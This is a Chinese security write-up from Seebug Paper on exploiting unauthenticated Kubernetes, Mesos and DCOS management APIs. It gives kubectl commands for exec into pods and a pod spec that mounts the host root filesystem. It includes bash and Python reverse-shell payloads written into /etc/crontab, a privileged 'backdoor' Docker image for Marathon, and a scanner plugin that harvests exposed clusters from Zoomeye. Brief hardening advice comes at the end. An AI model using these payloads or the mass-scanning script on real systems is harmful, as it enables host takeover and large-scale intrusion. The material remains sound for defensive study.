作者:岚光

0x00 前言

随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。

当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm、Apache 的 Mesos 和 Google 的 Kubernetes

其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器,另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。

大家或许还记得之前影响广泛的 Docker Remote API(2375 端口)未授权漏洞,那么其他的容器管理平台是否也会存在类似的问题呢?

0x01 Kubernetes

根据官方文档,API Server 默认会开启两个端口:80806443

其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。

直接访问 8080 端口会返回可用的 API 列表,如:

{
  "paths": [
    "/api",
    "/api/v1",
    "/apis",
    "/apis/extensions",
    "/apis/extensions/v1beta1",
    "/healthz",
    "/healthz/ping",
    "/logs/",
    "/metrics",
    "/resetMetrics",
    "/swagger-ui/",
    "/swaggerapi/",
    "/ui/",
    "/version"
  ]
}

而直接访问 6443 端口会提示无权限:User "system:anonymous" cannot get at the cluster scope.

Zoomeye 搜索:metrics healthz,可以看到使用 Kubernetes 最多是中国美国

其中 443 和 8443 端口几乎都是 OpenShift Origin,一个基于 Kubernetes 的企业版容器管理平台,默认需要认证。

访问 /ui 会跳转到 dashboard 页面,可以创建、修改、删除容器,查看日志等。

Kubernetes 官方提供了一个命令行工具 kubectl。使用 kubectl 不仅能完成图形界面上的操作,还有个特殊的功能——在容器中执行命令,类似 docker 里的 exec

// 获得所有节点
> kubectl -s http://1.2.3.4:8080/ get nodes
// 获得所有容器
> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash

当然,如果可以控制容器的运行,我们也可以尝试获取宿主机(即 nodes)的权限。

参考 Docker Remote API 未授权访问漏洞利用,流程大体为创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell。

根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml,将节点的根目录挂载到容器的 /mnt 目录。

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

然后使用 kubectl 创建容器:

//  myapp.yaml 创建容器
> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
//  crontab 写入反弹 shell 的定时任务
> echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反弹 shell
> echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

稍等片刻接收到反弹的 shell:

0x02 Mesos

根据官方文档Mesos master 默认监听 5050 端口。

Mesos 主界面:

Mesos 的 API 可参考 HTTP Endpoints

比较有用的一个 API 是 /flags,可以查看系统的配置情况,包括是否开启权限认证。

Mesos 从 1.2 版开始才有了 exec 进入容器的功能:Mesos Support for Container Attach and Container Exec

值得吐槽的是 Mesos 的命令行工具居然没有文档,原因是 CLI 依然有很多功能缺失需要重构:A full redesign of the Mesos CLI。好在有一个 Design Doc: Mesos CLI 可供参考。

又因为没有一个专门的 Mesos CLI 工具,唯一的一个 mesosphere/mesos-cli 也有两年没更新了,所以只能安装 Mesos 来使用命令行。

Ubuntu 16.04 下安装:

// 添加源
> cat << EOF >> /etc/apt/sources.list.d/mesosphere.list
deb http://repos.mesosphere.com/ubuntu xenial main
EOF
// 更新
> apt-get update
// 如果出现签名问题需要导入 public key
// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF
// 安装 mesos
> apt-get -y install mesos

安装完成后可以对 Agent 下发任务执行命令(Mesos 版本均为 1.3):

// 设置目标 URL
> mesos config master 1.2.3.4:5050
// 列出正在运行的容器
> mesos ps
// 执行命令(无回显)
> mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'

可惜在 Docker Volume Support in Mesos Containerizer 中未能找到挂载宿主机(Agent)目录的办法,所以无法逃出沙箱获得宿主机权限。

0x03 DCOS

Mesosphere DCOS 是基于 Apache Mesos 的商业化版本。

根据官方文档API Router 的默认端口是 80(HTTP)和443(HTTPS)。

DCOS 主界面:

相比于 Mesos,DCOS 的对应 API 前多了 /mesos/,如在 Mesos 中查看版本号是 /version,在 DCOS 中则是 /mesos/version

访问 /dcos-metadata/dcos-version.json 可查看 DCOS 的版本号。

访问 /exhibitor/ 是 DCOS 自带的 Zookeeper 管理工具:

访问 /marathon/ 是自带的框架(Framework) Marathon

DCOS 提供了一个强大的命令行工具,和 Kubernetes 的类似,也可以进入容器执行命令。

参考 Using dcos task exec,测试一下执行命令(DCOS v1.6.1,DCOS CLI v1.9):

// 设置目标 URL
> dcos config set core.dcos_url http://1.2.3.4
// 根据文档创建一个描述文件
> dcos marathon app add my-app.json
// 在执行 my-app 执行 hostname 命令
> dcos task exec my-app hostname
No container found for the specified task. It might still be spinning up. Please try again.
// 添加一个任务
> dcos job add my-job.json
DC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8

居然不能在 my-app 执行命令,可能是 DCOS 版本过低所致,那如果运行一个 Docker 容器呢:

> dcos task exec my-docker hostname
This command is only supported for tasks launched by the Universal Container Runtime (UCR).

根据 Universal Container Runtime (UCR)container type 需要指定为 MESOS 才能执行命令,但 UCR 是有限制的:

The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.

所以如果使用 UCR 的话,Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话,无法执行我们需要的命令。

想了一下可以用构建自己 Docker 镜像的方法绕过。

参考 Deploying a Docker-based Service,去 https://hub.docker.com 注册一个账号,假设用户名为 test,创建一个公开的 Repository: backdoor

编写 Dockerfile

FROM alpine
# 容器启动时执行命令
CMD echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

构建 Docker 镜像并推送到 Docker hub:

> docker build -t test/backdoor .
> docker login
> docker push test/backdoor

写配置文件,使用 backdoor 镜像且挂载宿主机根目录到 /mnt

{
    "id": "backdoor",
    "container": {
    "type": "DOCKER",
    "volumes": [
        {
          "containerPath": "/mnt",
          "hostPath": "/",
          "mode": "RW"
        }
      ],
    "docker": {
          "image": "test/backdoor",
          "network": "BRIDGE",
          "privileged": true
        }
    },
    "acceptedResourceRoles": ["slave_public"],
    "instances": 1,
    "cpus": 1,
    "mem": 1024
}

最后添加容器到 Marathon:dcos marathon app add backdoor.json

稍等片刻获得反弹的 shell:

0x04 批量验证

以 Kubernetes 为例,用 POC-T 可以很方便地从 Zoomeye 的 API 获取数据并进行验证。写一个插件试试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author =  Oritz
"""
Kubernetes api 未授权访问
需要安装 kubectl
  curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl
  chmod +x ./kubectl
  sudo mv ./kubectl /usr/local/bin/kubectl
Usage:
  python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000
"""
import subprocess
import requests
from plugin.useragent import firefox
def poc(url):
    if '://' not in url:
        url = 'http://' + url
    if '443' in url:
        url = url.replace('http:', 'https:')
    try:
        g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)
        if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:
            pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,
                                    stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)
            output = pods.communicate()[0].decode("utf-8")
            if "Please enter Username" not in output and "Error from server" not in output:
                with open("k8s.txt", "a") as f:
                    f.write(url + "\n" + output + "\n")
                return url
    except Exception:
        pass
    return False

部分结果放在了 gist 上:k8s.cn.txt

0x05 偶遇挖矿

在研究过程中发现了部分未授权的 DCOS 被用来挖矿,如查看 DCOS 的任务日志:

在 Zookeeper 的任务配置里也可以看到:

图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像,所以不大可能是管理员自己运行的。 不过查了一下 Github 上其实早就有开源的基于 Mesos 的分布式比特币挖矿程序了,因为容器管理平台的资源一般都很充裕,可能会成为矿工们的新目标。

0x06 总结

文中主要介绍了 Kubernetes 和 Mesos 未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件,还有可能导致宿主机被控制进入内网,产生更大的危害。

参考 Security Best Practices for Kubernetes Deployment,在安装和运行容器管理平台时,遵循以下几点可提高安全性:

  • 配置防火墙,禁止敏感端口对外开放
  • 对管理端口加上认证
  • 使用安全的镜像(私有镜像仓库)
  • 设置容器资源限额
  • 容器以非 root 用户运行

文中还有两个问题没有解决:

  • Apache Mesos 如何挂载宿主机目录
  • DCOS 在容器中执行命令是否有更好的方式

如果有意见和建议,欢迎提出。

0x07 参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/332/